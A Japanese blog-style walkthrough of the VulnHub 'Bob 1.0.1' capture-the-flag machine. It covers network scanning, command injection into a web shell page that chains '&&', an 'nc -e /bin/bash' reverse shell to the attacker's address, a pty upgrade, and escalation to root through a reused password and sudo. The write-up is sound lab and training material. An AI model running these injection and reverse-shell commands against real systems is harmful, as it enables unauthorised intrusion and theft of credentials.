今回の問題はこちらにあります。
https://www.vulnhub.com/entry/bob-101,226/
それでは攻略していきましょう。
netdiscover -r 172.21.0.0/16 |

するとターゲットのIPアドレスがわかります。
nmap -Pn -A -p- 172.21.0.110 |

どのポートがオープンしているか分かります。
どうやらWebサーバが動いているようです。
アクセスしてみましょう!

ちゃんとアクセス出来ました。
もう少し手がかりがないか見ていきます。
nikto -h 172.21.0.110 |

robots.txtを見てましょう。

4つのパスを順番に見ていきます。
すると一番怪しいのが/dev_shell.phpになります。

試しにコマンドを何か打ってみましょう!
例えば、whoami と打ってみます。

期待通りの結果が返ってきました。
続いてもっと試してみます。

どうやらinputがそのままshellに
渡るわけではないようです。
一応、php中で文字列のチェックが
何かかしら行われているようです。
もう少し試してみます。
whoami && cat /etc/passwd |

いい感じですね!
どうやら論理積をとると上手くいくようです。
ちなみにphpは次のようになっています。
侵入後にプロぐラムを覗きました。
まずinputがそのまま
コマンド変数に格納されます。

そして、以下のように文字列の確認が行われます。

話しを戻して、、、
次のように入力します。
whoami && nc -e /bin/bash 172.21.0.104 4444 |
172.21.0.104は攻撃として
使用しているpcのアドレスです。
また、4444はポートです。

それと同時にアタッカーのPCも
nc -lnp 4444 |
ポートを開けてlistenしておきます。

相手から接続を受けると、
connect...となります。
そしたら以下のワンラインを実行します。
python -c 'import pty;pty.spawn("/bin/bash")' |
pythonのptyに関する情報はこちら
これで侵入できましたので、
管理者への昇格&フラグ探しを
していきましょう!
homeディレクトリを見てみます。

各ディレクトリを探索してみます。
するとelliotのディレクトリで
良い匂いを感じ取ります。

theadminsdumb.txtを覗いてみます。

パスワードがQwetry...
みたいなことが書かれているので、
各ユーザに対してそのパスワードで
ログインできるか試してみます。
ちなみに、cat /etc/passwd をしたときに、
ターゲット上のユーザ情報が流出しました。
jc, elliot, bob, seb はすべて、
ユーザ名であることが分かっています。
一人ずつ試していくわけですが、
jcでヒットします。
su jc |

これでjcになりすませました。
管理者権限が付与されるか
一応、試してみましょう!
sudo su |

残念、、、ダメでした。
それならルートのパスワードを取得するか、
ほかのユーザでログインして、
再度、sudo su を試してみます。
このあたりで疲れてきたので、
以下は最終的にやることのみを
紹介して終わろうと思います。(笑)
他ユーザのログイン情報を探していくうちに、
bobアカウントのパスワードを取得できます。
そして、bobでログインします。
試しにbobでsudo su を実行します。
そしたら管理者権限が付与されます!
これで相手の本陣を崩壊させたのと同じです。
後はflagを持ち帰りましょう!

以上、無事にflag取得できました!
最後まで読んでいただきありがとうございました。
参考:
https://www.hackingarticles.in/hack-the-bob-1-0-1-vm-ctf-challenge/